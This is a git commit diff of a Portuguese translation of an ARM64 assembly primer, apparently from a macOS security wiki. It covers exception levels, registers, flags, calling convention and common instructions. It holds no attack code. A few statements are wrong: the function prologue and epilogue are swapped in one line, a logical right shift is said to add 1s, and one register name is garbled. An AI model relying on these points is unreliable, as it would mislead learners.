Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-04-19 06:28:31 +00:00
parent ea375f3bcb
commit d3d2abb74b
2 changed files with 158 additions and 128 deletions

View file

@ -23,9 +23,9 @@ Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exce
* Aplicativos em execução em EL0 são isolados uns dos outros e do software do sistema, aumentando a segurança e estabilidade.
2. **EL1 - Modo Kernel do Sistema Operacional**:
* A maioria dos kernels de sistemas operacionais é executada neste nível.
* EL1 tem mais privilégios que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
3. **EL2 - Modo Hipervisor**:
* Este nível é usado para virtualização. Um hipervisor em execução em EL2 pode gerenciar vários sistemas operacionais (cada um em seu próprio EL1) em um mesmo hardware físico.
* EL1 tem mais privilégios do que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
3. **EL2 - Modo Hypervisor**:
* Este nível é usado para virtualização. Um hipervisor em execução em EL2 pode gerenciar vários sistemas operacionais (cada um em seu próprio EL1) em execução no mesmo hardware físico.
* EL2 fornece recursos para isolamento e controle dos ambientes virtualizados.
4. **EL3 - Modo Monitor Seguro**:
* Este é o nível mais privilegiado e é frequentemente usado para inicialização segura e ambientes de execução confiáveis.
@ -39,72 +39,72 @@ ARM64 possui **31 registradores de propósito geral**, rotulados de `x0` a `x30`
1. **`x0`** a **`x7`** - Geralmente são usados como registradores temporários e para passar parâmetros para sub-rotinas.
* **`x0`** também carrega os dados de retorno de uma função.
2. **`x8`** - No kernel do Linux, `x8` é usado como o número da chamada de sistema para a instrução `svc`. **No macOS, o x16 é o utilizado!**
2. **`x8`** - No kernel Linux, `x8` é usado como o número da chamada de sistema para a instrução `svc`. **No macOS o x16 é o utilizado!**
3. **`x9`** a **`x15`** - Mais registradores temporários, frequentemente usados para variáveis locais.
4. **`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Também são usados para chamadas de função indiretas e stubs PLT (Procedure Linkage Table).
* **`x16`** é usado como o **número da chamada de sistema** para a instrução **`svc`** no **macOS**.
5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de propósito geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para bloco de ambiente de thread atual no Windows, ou para apontar para a estrutura de tarefa atualmente **em execução no kernel do Linux**.
5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de propósito geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para bloco de ambiente de thread atual no Windows, ou para apontar para a estrutura de tarefa atualmente **em execução no kernel Linux**.
6. **`x19`** a **`x28`** - Estes são registradores salvos pelo chamador. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de retornar ao chamador.
7. **`x29`** - **Ponteiro de Frame** para acompanhar o quadro da pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na pilha** e o endereço do **novo** ponteiro de quadro (endereço de **`sp`**) é **armazenado neste registro**.
* Este registrador também pode ser usado como um **registrador de propósito geral**, embora geralmente seja usado como referência para **variáveis locais**.
8. **`x30`** ou **`lr`** - **Registrador de Link**. Ele mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada armazenando o valor de **`pc`** neste registrador.
7. **`x29`** - **Ponteiro de Frame** para acompanhar o quadro da pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registro **`x29`** é **armazenado na pilha** e o endereço do **novo** ponteiro de quadro (endereço **`sp`**) é **armazenado neste registro**.
* Este registro também pode ser usado como um **registro de propósito geral**, embora geralmente seja usado como referência para **variáveis locais**.
8. **`x30`** ou **`lr`** - **Registrador de Link**. Ele mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada armazenando o valor de **`pc`** neste registro.
* Também pode ser usado como qualquer outro registrador.
* Se a função atual for chamar uma nova função e, portanto, sobrescrever `lr`, ela o armazenará na pilha no início, este é o epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Armazenar `fp` e `lr`, gerar espaço e obter novo `fp`) e recuperá-lo no final, este é o prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` e `lr` e retornar).
9. **`sp`** - **Ponteiro de Pilha**, usado para acompanhar o topo da pilha.
* o valor de **`sp`** deve sempre ser mantido pelo menos em um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer.
10. **`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registrador só pode ser atualizado por meio de gerações de exceção, retornos de exceção e branches. As únicas instruções comuns que podem ler este registrador são instruções de branch com link (BL, BLR) para armazenar o endereço de **`pc`** em **`lr`** (Registrador de Link).
11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registrador de **32** bits. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em lugar nenhum (em **`xzr`**).
10. **`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registro só pode ser atualizado por meio de gerações de exceção, retornos de exceção e branches. As únicas instruções comuns que podem ler este registro são instruções de branch com link (BL, BLR) para armazenar o endereço de **`pc`** em **`lr`** (Registrador de Link).
11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registro de **32** bits. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em lugar nenhum (em **`xzr`**).
Os registradores **`Wn`** são a versão de **32 bits** do registrador **`Xn`**.
### Registradores SIMD e de Ponto Flutuante
Além disso, existem outros **32 registradores de comprimento de 128 bits** que podem ser usados em operações otimizadas de dados múltiplos de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Eles são chamados de registradores Vn, embora também possam operar em **64** bits, **32** bits, **16** bits e **8** bits e então são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
### Registros do Sistema
### Registos do Sistema
**Existem centenas de registros do sistema**, também chamados de registros de propósito especial (SPRs), que são usados para **monitorar** e **controlar** o **comportamento dos processadores**.\
**Existem centenas de registos do sistema**, também chamados de registos de propósito especial (SPRs), que são usados para **monitorizar** e **controlar** o comportamento dos **processadores**.\
Eles só podem ser lidos ou definidos usando as instruções especiais dedicadas **`mrs`** e **`msr`**.
Os registros especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao reverter a engenharia. O sufixo `EL0` indica a **exceção mínima** da qual o registro pode ser acessado (neste caso, EL0 é o nível de exceção (privilégio) regular no qual os programas regulares são executados).\
Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local da thread** na memória. Geralmente, o primeiro é legível e gravável para programas em execução em EL0, mas o segundo pode ser lido em EL0 e gravado em EL1 (como o kernel).
Os registos especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao reverter engenharia. O sufixo `EL0` indica a **exceção mínima** da qual o registo pode ser acedido (neste caso, EL0 é a exceção regular (privilégio) nível em que os programas regulares são executados).\
Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local da thread** na memória. Normalmente, o primeiro é legível e gravável para programas em execução em EL0, mas o segundo pode ser lido a partir de EL0 e gravado a partir de EL1 (como kernel).
* `mrs x0, TPIDR_EL0 ; Ler TPIDR_EL0 em x0`
* `msr TPIDR_EL0, X0 ; Escrever x0 em TPIDR_EL0`
### **PSTATE**
**PSTATE** contém vários componentes do processo serializados no registro especial **`SPSR_ELx`** visível para o sistema operacional, sendo X o **nível de permissão da exceção acionada** (isso permite recuperar o estado do processo quando a exceção termina).\
**PSTATE** contém vários componentes de processo serializados no registo especial **`SPSR_ELx`** visível para o sistema operativo, sendo X o **nível de permissão da exceção desencadeada** (isto permite recuperar o estado do processo quando a exceção termina).\
Estes são os campos acessíveis:
<figure><img src="../../../.gitbook/assets/image (1193).png" alt=""><figcaption></figcaption></figure>
* As flags de condição **`N`**, **`Z`**, **`C`** e **`V`**:
* As bandeiras de condição **`N`**, **`Z`**, **`C`** e **`V`**:
* **`N`** significa que a operação resultou em um número negativo
* **`Z`** significa que a operação resultou em zero
* **`C`** significa que a operação foi realizada
* **`V`** significa que a operação resultou em uma sobrecarga assinada:
* **`V`** significa que a operação resultou em um overflow assinado:
* A soma de dois números positivos resulta em um número negativo.
* A soma de dois números negativos resulta em um número positivo.
* Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro da faixa do tamanho de bits fornecido.
* Obviamente, o processador não sabe se a operação é assinada ou não, então ele verificará C e V nas operações e indicará se ocorreu uma transferência de transporte no caso de ser assinada ou não assinada.
* Obviamente, o processador não sabe se a operação é assinada ou não, então ele verificará C e V nas operações e indicará se ocorreu uma transferência de carry no caso de ser assinada ou não assinada.
{% hint style="warning" %}
Nem todas as instruções atualizam essas flags. Algumas como **`CMP`** ou **`TST`** o fazem, e outras que têm um sufixo s como **`ADDS`** também o fazem.
Nem todas as instruções atualizam essas bandeiras. Algumas como **`CMP`** ou **`TST`** o fazem, e outras que têm um sufixo s como **`ADDS`** também o fazem.
{% endhint %}
* A flag atual de **largura do registro (`nRW`)**: Se a flag tiver o valor 0, o programa será executado no estado de execução AArch64 quando retomado.
* A bandeira atual de **largura do registo (`nRW`)**: Se a bandeira tiver o valor 0, o programa será executado no estado de execução AArch64 quando retomado.
* O **Nível de Exceção Atual** (**`EL`**): Um programa regular em execução em EL0 terá o valor 0
* A flag de **passo único** (**`SS`**): Usada por depuradores para passo único definindo a flag SS como 1 dentro de **`SPSR_ELx`** por meio de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
* A flag de estado de exceção **ilegal** (**`IL`**): É usada para marcar quando um software privilegiado executa uma transferência de nível de exceção inválida, essa flag é definida como 1 e o processador aciona uma exceção de estado ilegal.
* As flags **`DAIF`**: Essas flags permitem que um programa privilegiado mascare seletivamente certas exceções externas.
* Se **`A`** for 1, significa que os **abortos assíncronos** serão acionados. O **`I`** configura para responder às **Solicitações de Interrupção de Hardware** externas (IRQs). e o F está relacionado às **Solicitações de Interrupção Rápida** (FIRs).
* As flags de seleção de **ponteiro de pilha (`SPS`)**: Programas privilegiados em execução em EL1 e acima podem alternar entre o uso de seu próprio registro de ponteiro de pilha e o do modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Essa troca é realizada escrevendo no registro especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
* A bandeira de **passo único** (**`SS`**): Usada por depuradores para passo único definindo a bandeira SS como 1 dentro de **`SPSR_ELx`** através de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
* A bandeira de estado de exceção **ilegal** (**`IL`**): É usada para marcar quando um software privilegiado executa uma transferência de nível de exceção inválida, esta bandeira é definida como 1 e o processador desencadeia uma exceção de estado ilegal.
* As bandeiras **`DAIF`**: Estas bandeiras permitem a um programa privilegiado mascarar seletivamente certas exceções externas.
* Se **`A`** for 1, significa que serão desencadeadas **interrupções assíncronas**. O **`I`** configura para responder a **Pedidos de Interrupção de Hardware** externos (IRQs). e o F está relacionado com **Pedidos de Interrupção Rápida** (FIRs).
* As bandeiras de seleção de **ponteiro de pilha** (**`SPS`**): Programas privilegiados em execução em EL1 e acima podem alternar entre usar seu próprio registo de ponteiro de pilha e o do modelo de utilizador (por exemplo, entre `SP_EL1` e `EL0`). Esta troca é realizada escrevendo no registo especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
## **Convenção de Chamada (ARM64v8)**
A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** de uma função são passados nos registros **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O **valor de retorno** é passado de volta no registro **`x0`**, ou também em **`x1`** se tiver 128 bits de comprimento. Os registros **`x19`** a **`x30`** e **`sp`** devem ser **preservados** entre chamadas de função.
A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** de uma função são passados nos registos **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O **valor de retorno** é passado de volta no registo **`x0`**, ou também em **`x1`** se tiver 128 bits de comprimento. Os registos **`x19`** a **`x30`** e **`sp`** devem ser **preservados** entre chamadas de função.
Ao ler uma função em assembly, procure o **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro** e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função.
Ao ler uma função em assembly, procure o **prólogo e epílogo** da função. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro** e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função.
### Convenção de Chamada em Swift
@ -112,30 +112,30 @@ Swift tem sua própria **convenção de chamada** que pode ser encontrada em [**
## **Instruções Comuns (ARM64v8)**
As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o **registro de destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os **registros de origem**. Valores imediatos também podem ser usados no lugar dos registros de origem.
As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o **registo de destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os **registos de origem**. Valores imediatos também podem ser usados no lugar dos registos de origem.
* **`mov`**: **Mover** um valor de um **registro** para outro.
* **`mov`**: **Mover** um valor de um **registo** para outro.
* Exemplo: `mov x0, x1` — Isso move o valor de `x1` para `x0`.
* **`ldr`**: **Carregar** um valor da **memória** para um **registro**.
* Exemplo: `ldr x0, [x1]` — Isso carrega um valor da localização de memória apontada por `x1` em `x0`.
* **`ldr`**: **Carregar** um valor da **memória** para um **registo**.
* Exemplo: `ldr x0, [x1]` — Isso carrega um valor da localização de memória apontada por `x1` para `x0`.
* **Modo de deslocamento**: Um deslocamento que afeta o ponteiro de origem é indicado, por exemplo:
* `ldr x2, [x1, #8]`, isso carregará em x2 o valor de x1 + 8
* &#x20;`ldr x2, [x0, x1, lsl #2]`, isso carregará em x2 um objeto da matriz x0, da posição x1 (índice) \* 4
* `ldr x2, [x1, #8]`, isso irá carregar em x2 o valor de x1 + 8
* &#x20;`ldr x2, [x0, x1, lsl #2]`, isso irá carregar em x2 um objeto da matriz x0, da posição x1 (índice) \* 4
* **Modo pré-indexado**: Isso aplicará cálculos à origem, obterá o resultado e também armazenará a nova origem na origem.
* `ldr x2, [x1, #8]!`, isso carregará `x1 + 8` em `x2` e armazenará em x1 o resultado de `x1 + 8`
* `str lr, [sp, #-4]!`, Armazena o registro de link em sp e atualiza o registro sp
* **Modo pós-indexado**: Isso é semelhante ao anterior, mas o endereço de memória é acessado e, em seguida, o deslocamento é calculado e armazenado.
* `ldr x2, [x1, #8]!`, isso irá carregar `x1 + 8` em `x2` e armazenar em x1 o resultado de `x1 + 8`
* `str lr, [sp, #-4]!`, Armazena o registo de ligação em sp e atualiza o registo sp
* **Modo pós-indexado**: É como o anterior, mas o endereço de memória é acessado e depois o deslocamento é calculado e armazenado.
* `ldr x0, [x1], #8`, carrega `x1` em `x0` e atualiza x1 com `x1 + 8`
* **Endereçamento relativo ao PC**: Nesse caso, o endereço a ser carregado é calculado em relação ao registro PC
* **Endereçamento relativo ao PC**: Neste caso, o endereço a carregar é calculado em relação ao registo PC
* `ldr x1, =_start`, Isso carregará o endereço onde o símbolo `_start` começa em x1 em relação ao PC atual.
* **`str`**: **Armazenar** um valor de um **registro** na **memória**.
* **`str`**: **Armazenar** um valor de um **registo** na **memória**.
* Exemplo: `str x0, [x1]` — Isso armazena o valor em `x0` na localização de memória apontada por `x1`.
* **`ldp`**: **Carregar Par de Registros**. Esta instrução **carrega dois registros** de **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registro.
* Exemplo: `ldp x0, x1, [x2]` — Isso carrega `x0` e `x1` das localizações de memória em `x2` e `x2 + 8`, respectivamente.
* **`stp`**: **Armazenar Par de Registros**. Esta instrução **armazena dois registros** em **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registro.
* Exemplo: `stp x0, x1, [sp]` — Isso armazena `x0` e `x1` nos locais de memória em `sp` e `sp + 8`, respectivamente.
* `stp x0, x1, [sp, #16]!` — Isso armazena `x0` e `x1` nos locais de memória em `sp+16` e `sp + 24`, respectivamente, e atualiza `sp` com `sp+16`.
* **`add`**: **Adicionar** os valores de dois registros e armazenar o resultado em um registro.
* **`ldp`**: **Carregar Par de Registos**. Esta instrução **carrega dois registos** de **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor noutro registo.
* Exemplo: `ldp x0, x1, [x2]` — Isso carrega `x0` e `x1` das localizações de memória em `x2` e `x2 + 8`, respetivamente.
* **`stp`**: **Armazenar Par de Registos**. Esta instrução **armazena dois registos** em **locais de memória consecutivos**. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor noutro registo.
* Exemplo: `stp x0, x1, [sp]` — Isso armazena `x0` e `x1` nas localizações de memória em `sp` e `sp + 8`, respetivamente.
* `stp x0, x1, [sp, #16]!` — Isso armazena `x0` e `x1` nas localizações de memória em `sp+16` e `sp + 24`, respetivamente, e atualiza `sp` com `sp+16`.
* **`add`**: **Adicionar** os valores de dois registos e armazenar o resultado num registo.
* Sintaxe: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> Destino
* Xn2 -> Operando 1
@ -156,13 +156,13 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on
* **Deslocamento lógico à esquerda**: Adiciona 0s do final movendo os outros bits para frente (multiplica n vezes por 2)
* **Deslocamento lógico à direita**: Adiciona 1s no início movendo os outros bits para trás (divide n vezes por 2 em não assinado)
* **Deslocamento aritmético à direita**: Como **`lsr`**, mas em vez de adicionar 0s se o bit mais significativo for 1, \*\*1s são adicionados (\*\*divide por n vezes 2 em assinado)
* **Rotação à direita**: Como **`lsr`** mas o que for removido da direita é anexado à esquerda
* **Rotação à direita**: Como **`lsr`**, mas o que for removido da direita é anexado à esquerda
* **Rotação à direita com Extensão**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim, a flag de carry é movida para o bit 31 e o bit removido para a flag de carry.
* **`bfm`**: **Movimento de Campo de Bits**, essas operações **copiam bits `0...n`** de um valor e os colocam em posições **`m..m+n`**. O **`#s`** especifica a **posição do bit mais à esquerda** e o **`#r`** a **quantidade de rotação à direita**.
* **`bfm`**: **Movimento de Campo de Bits**, essas operações **copiam bits `0...n`** de um valor e os colocam em posições **`m..m+n`**. O **`#s`** especifica a posição do **bit mais à esquerda** e o **`#r`** a **quantidade de rotação à direita**.
* Movimento de campo de bits: `BFM Xd, Xn, #r`
* Movimento de campo de bits assinado: `SBFM Xd, Xn, #r, #s`
* Movimento de campo de bits não assinado: `UBFM Xd, Xn, #r, #s`
* **Extração e Inserção de Campo de Bits:** Copia um campo de bits de um registrador e o copia para outro registrador.
* **Extrair e Inserir Campo de Bits:** Copia um campo de bits de um registrador e o copia para outro registrador.
* **`BFI X1, X2, #3, #4`** Insere 4 bits de X2 a partir do 3º bit de X1
* **`BFXIL X1, X2, #3, #4`** Extrai do 3º bit de X2 quatro bits e os copia para X1
* **`SBFIZ X1, X2, #3, #4`** Estende o sinal de 4 bits de X2 e os insere em X1 a partir da posição do bit 3, zerando os bits à direita
@ -175,16 +175,16 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on
* **`SXTW X1, W2`** Estende o sinal de um byte **de W2 para X1** para preencher os 64 bits
* **`UXTB X1, W2`** Adiciona 0s (não assinado) a um byte **de W2 para X1** para preencher os 64 bits
* **`extr`:** Extrai bits de um **par de registradores concatenados** especificados.
* Exemplo: `EXTR W3, W2, W1, #3` Isso **concatena W1+W2** e pega **do bit 3 de W2 até o bit 3 de W1** e armazena em W3.
* Exemplo: `EXTR W3, W2, W1, #3` Isso **concatena W1+W2** e pega **do bit 3 de W2 até o bit 3 de W1** e armazena em W3.
* **`cmp`**: **Compara** dois registradores e define as flags de condição. É um **sinônimo de `subs`** definindo o registrador de destino como o registrador zero. Útil para saber se `m == n`.
* Suporta a **mesma sintaxe que `subs`**
* Exemplo: `cmp x0, x1` — Isso compara os valores em `x0` e `x1` e define as flags de condição adequadamente.
* Exemplo: `cmp x0, x1` — Isso compara os valores em `x0` e `x1` e define as flags de condição de acordo.
* **`cmn`**: **Compara negativo** o operando. Neste caso, é um **sinônimo de `adds`** e suporta a mesma sintaxe. Útil para saber se `m == -n`.
* **`ccmp`**: Comparação condicional, é uma comparação que será realizada apenas se uma comparação anterior for verdadeira e definirá especificamente os bits nzcv.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, pule para func
* Isso ocorre porque **`ccmp`** será executado apenas se o **`cmp` anterior for um `NE`**, se não for, os bits `nzcv` serão definidos como 0 (o que não satisfará a comparação `blt`).
* Isso ocorre porque o **`ccmp`** só será executado se o **`cmp` anterior for um `NE`**, se não for, os bits `nzcv` serão definidos como 0 (o que não satisfará a comparação `blt`).
* Isso também pode ser usado como `ccmn` (mesmo, mas negativo, como `cmp` vs `cmn`).
* **`tst`**: Verifica se algum dos valores da comparação são ambos 1 (funciona como um ANDS sem armazenar o resultado em nenhum lugar). Útil para verificar um registro com um valor e verificar se algum dos bits do registro indicado no valor é 1.
* **`tst`**: Verifica se algum dos valores da comparação são ambos 1 (funciona como um ANDS sem armazenar o resultado em nenhum lugar). É útil para verificar um registro com um valor e verificar se algum dos bits do registro indicado no valor é 1.
* Exemplo: `tst X1, #7` Verifica se algum dos últimos 3 bits de X1 é 1
* **`teq`**: Operação XOR descartando o resultado
* **`b`**: Ramificação incondicional
@ -202,13 +202,13 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on
* Exemplo: `b.eq label` — Se a instrução `cmp` anterior encontrou dois valores iguais, isso salta para `label`.
* **`b.ne`**: **Branch if Not Equal**. Esta instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior) e, se os valores comparados não forem iguais, faz um salto para um rótulo ou endereço.
* Exemplo: Após uma instrução `cmp x0, x1`, `b.ne label` — Se os valores em `x0` e `x1` não forem iguais, isso salta para `label`.
* **`cbz`**: **Comparar e Salto em Zero**. Esta instrução compara um registro com zero e, se forem iguais, faz um salto para um rótulo ou endereço.
* **`cbz`**: **Comparar e Salto se Zero**. Esta instrução compara um registro com zero e, se forem iguais, faz um salto para um rótulo ou endereço.
* Exemplo: `cbz x0, label` — Se o valor em `x0` for zero, isso salta para `label`.
* **`cbnz`**: **Comparar e Salto em Não Zero**. Esta instrução compara um registro com zero e, se não forem iguais, faz um salto para um rótulo ou endereço.
* **`cbnz`**: **Comparar e Salto se Não-Zero**. Esta instrução compara um registro com zero e, se não forem iguais, faz um salto para um rótulo ou endereço.
* Exemplo: `cbnz x0, label` — Se o valor em `x0` for diferente de zero, isso salta para `label`.
* **`tbnz`**: Testar bit e saltar em não zero
* **`tbnz`**: Testar bit e saltar se não for zero
* Exemplo: `tbnz x0, #8, label`
* **`tbz`**: Testar bit e saltar em zero
* **`tbz`**: Testar bit e saltar se for zero
* Exemplo: `tbz x0, #8, label`
* **Operações de seleção condicional**: São operações cujo comportamento varia dependendo dos bits condicionais.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se verdadeiro, X0 = X1, se falso, X0 = X2
@ -226,7 +226,7 @@ As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, on
* Exemplo: `ldrsw x0, [x1]` — Isso carrega um valor assinado de 32 bits da localização de memória apontada por `x1`, estende para 64 bits e armazena em `x0`.
* **`stur`**: **Armazenar um valor de registro em uma localização de memória**, usando um deslocamento de outro registro.
* Exemplo: `stur x0, [x1, #4]` — Isso armazena o valor em `x0` na localização de memória que está 4 bytes acima do endereço atual em `x1`.
* **`svc`** : Fazer uma **chamada de sistema**. Significa "Chamada de Supervisor". Quando o processador executa esta instrução, ele **muda do modo usuário para o modo kernel** e salta para uma localização específica na memória onde o código de **manipulação de chamada de sistema do kernel** está localizado.
* **`svc`** : Fazer uma **chamada de sistema**. Significa "Supervisor Call". Quando o processador executa esta instrução, ele **muda do modo usuário para o modo kernel** e salta para uma localização específica na memória onde o código de **manipulação de chamada de sistema do kernel** está localizado.
* Exemplo:
```armasm
@ -251,7 +251,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
### **Epílogo da Função**
1. **Desalocar variáveis locais (se alguma foi alocada)**: `add sp, sp, <size>`
2. **Restaurar o registrador de link e o ponteiro de quadro**:
2. **Restaurar o registro de link e o ponteiro de quadro**:
{% code overflow="wrap" %}
```armasm
@ -263,11 +263,11 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
## Estado de Execução AARCH32
O Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode ser executado em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode ser executado em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o 32 bits de menor privilégio.\
Observe que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 do** registro especial **`SPSR_ELx`** **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante do `SPSR_ELx` armazena os programas **`AArch32`** CPSR. Em seguida, o processo privilegiado chama a instrução **`ERET`** para que o processador faça a transição para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR\*\*.\*\*
Observe que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 do** registro especial **`SPSR_ELx`** **para 1** quando o processo de thread `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena os programas **`AArch32`** CPSR. Em seguida, o processo privilegiado chama a instrução **`ERET`** para que o processador faça a transição para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR\*\*.\*\*
O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em definir o **bit mais baixo como 1** para indicar que o conjunto de instruções é T32.\
O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em configurar o **bit mais baixo para 1** para indicar que o conjunto de instruções é T32.\
Isso é configurado durante as **instruções de ramificação de interworking**, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registro de destino. Exemplo:
Outro exemplo:
@ -283,7 +283,7 @@ mov r0, #8
```
### Registradores
Existem 16 registradores de 32 bits (r0-r15). De **r0 a r14** eles podem ser usados para **qualquer operação**, no entanto alguns deles são geralmente reservados:
Existem 16 registradores de 32 bits (r0-r15). **De r0 a r14** eles podem ser usados para **qualquer operação**, no entanto alguns deles são geralmente reservados:
- **`r15`**: Contador de programa (sempre). Contém o endereço da próxima instrução. No A32 atual + 8, no T32, atual + 4.
- **`r11`**: Ponteiro de quadro
@ -291,12 +291,12 @@ Existem 16 registradores de 32 bits (r0-r15). De **r0 a r14** eles podem ser usa
- **`r13`**: Ponteiro de pilha
- **`r14`**: Registrador de link
Além disso, os registradores são copiados em **`registros bancários`**. Que são locais que armazenam os valores dos registradores permitindo realizar **trocas de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar manualmente os registradores toda vez.\
Isso é feito **salvando o estado do processador do `CPSR` para o `SPSR`** do modo do processador para o qual a exceção é levada. No retorno da exceção, o **`CPSR`** é restaurado do **`SPSR`**.
Além disso, os registradores são salvos em **registros bancários**. Que são locais que armazenam os valores dos registradores permitindo realizar **trocas de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar manualmente os registradores toda vez.\
Isso é feito salvando o estado do processador do **`CPSR`** para o **`SPSR`** do modo do processador para o qual a exceção é tomada. No retorno da exceção, o **`CPSR`** é restaurado a partir do **`SPSR`**.
### CPSR - Registro de Status do Programa Atual
No AArch32, o CPSR funciona de forma semelhante ao **`PSTATE`** no AArch64 e também é armazenado em **`SPSR_ELx`** quando uma exceção é levada para restaurar posteriormente a execução:
No AArch32, o CPSR funciona de forma semelhante ao **`PSTATE`** no AArch64 e também é armazenado em **`SPSR_ELx`** quando uma exceção é tomada para restaurar posteriormente a execução:
<figure><img src="../../../.gitbook/assets/image (1194).png" alt=""><figcaption></figcaption></figure>
@ -320,7 +320,7 @@ A instrução **`SEL`** usa essas flags GE para realizar ações condicionais.
- Os bits **`J`** e **`T`**: **`J`** deve ser 0 e se **`T`** for 0, o conjunto de instruções A32 é usado, e se for 1, o T32 é usado.
- Registro de Estado de Bloco IT (`ITSTATE`): São os bits de 10-15 e 25-26. Eles armazenam condições para instruções dentro de um grupo prefixado por **`IT`**.
- Bit **`E`**: Indica a **ordem dos bytes**.
